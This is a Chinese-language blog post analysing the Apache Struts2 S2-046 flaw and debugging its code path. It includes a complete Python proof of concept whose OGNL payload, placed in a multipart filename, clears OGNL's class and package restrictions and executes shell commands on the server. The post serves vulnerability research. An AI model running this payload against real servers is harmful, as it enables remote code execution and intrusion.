以为S2-045暂告一段落了。今天在订阅的sec-wiki又看到出来个Struts2-046: A new vector,S2-046漏洞和S2-045漏洞很相似,都是由于对Header某个字段信息处理发生异常,错误信息连带着payload同过buildErrorMessage函数带入LocalizedTextUtil.findText造成的。 但是不同的是,这次漏洞的触发点在Content-Length和Content-Disposition字段的filename中。

最早看到的网上的poc是通过Content-Disposition字段的filename字段触发的。POC发出post请求形如:

从网上流传的POC地址拿到demo程序https://github.com/pwntester/S2-046-PoC,按照他的说明,我也用同样的方式把程序跑起来进行测试。如下:

Demo的页面如下:

开始用github给出的poc测试,因为不直观只能在idea的log中看到漏洞触发的信息,很快看到安全客http://bobao.360.cn/learning/detail/3571.html已经给出了poc并验证成功。为了后面还要调试程序,我迅速改写了Python检测脚本。

#!/usr/bin/env python
# encoding:utf-8
import requests
class Sugarcrm():
    def poctest(self):   
        boundary="---------------------------735323031399963166993862150"
        paylaod="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
        url = 'http://10.65.10.195:8080/doUpload.action'
        headers = {'Content-Type': 'multipart/form-data; boundary='+boundary+''}
        data ="--"+boundary+"\r\nContent-Disposition: form-data; name=\"foo\"; filename=\""+paylaod+"\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--"+boundary+"--"
        requests.post(url, headers=headers,data=data)

if __name__ == '__main__':
    test = Sugarcrm()
    test.poctest()

用之前sugarcrm反序列化的脚本改的,可以忽视类名。先测试验证漏洞如下:

由于本机搭的环境,很多几个同事都在测,回显总是500,电脑卡到无法打开Word。这里将poc执行的命令修改为calc.exe。从idea的日志中可以看到漏洞触发的大概信息,以及函数调用关系:

这就简单了,根据上面的函数调用先后,在几个地方下断点,分别是JakartaStreamMultiPartRequest.parse、JakartaStreamMultiPartRequest.processFileItemStreamAsFileField、Streams.checkFileName。这些信息都可以从上面的log截图中看到。但是由于使用mvn命令行跑的程序,不知道怎么以调试模式运行,后来请教的专门从事java开发的同学,使用idea自带的Maven也可以,只要命令行参数为clean jetty:run -DskipTests,就可以以调试模式运行tomcat了。设置如下:

首先在JakartaStreamMultiPartRequest.parse函数中进入processUpload函数。继续跟进:

在processUpload函数中会执行到processFileItemStreamAsFileField并进入。

这里进入getName函数

看下getName函数的定义,是调用了Streams.checkFileName函数。


进入checkFileName函数,跟进发现在处理POC代码filename字段中的\0b字符时触发异常。

跟进异常,可以看到filename的值已经被传入异常处理函数。

随后继续根进,程序流程到了一开始的JakartaStreamMultiPartRequest.parse函数中,并进入buildErrorMessage函数并传入了异常消息。继续跟进进入了下好断点的LocalizedTextUtil.findText函数。到这就和S2-045漏洞一样了。太卡了,调试时就截了几张图,其它都可以看源代码。如图

另外一个触发点是Content-Length 的长度值超长,网上POC给出的是Content-Length: 1000000000.但其它同事并没有测试成功。我猜想这里如果真触发异常。也需要有构造好的payload一同带进异常消息。和启明的@孤水绕城同学聊,据他介绍该字段触发异常带入的还是filename字段的payload。如图:

但每次用burp修改大小并发送请求时。大小并没有改变。导致无法进一步验证。这个还需要再研究。

参考

[1] http://bobao.360.cn/learning/detail/3571.html

[2] http://bobao.360.cn/learning/detail/3639.html

[3] https://github.com/pwntester/S2-046-PoC

[4] https://cwiki.apache.org/confluence/display/WW/S2-046

[5] https://github.com/apache/struts/

[6] https://sec-wiki.com/news/10004

源链接

Hacking more

...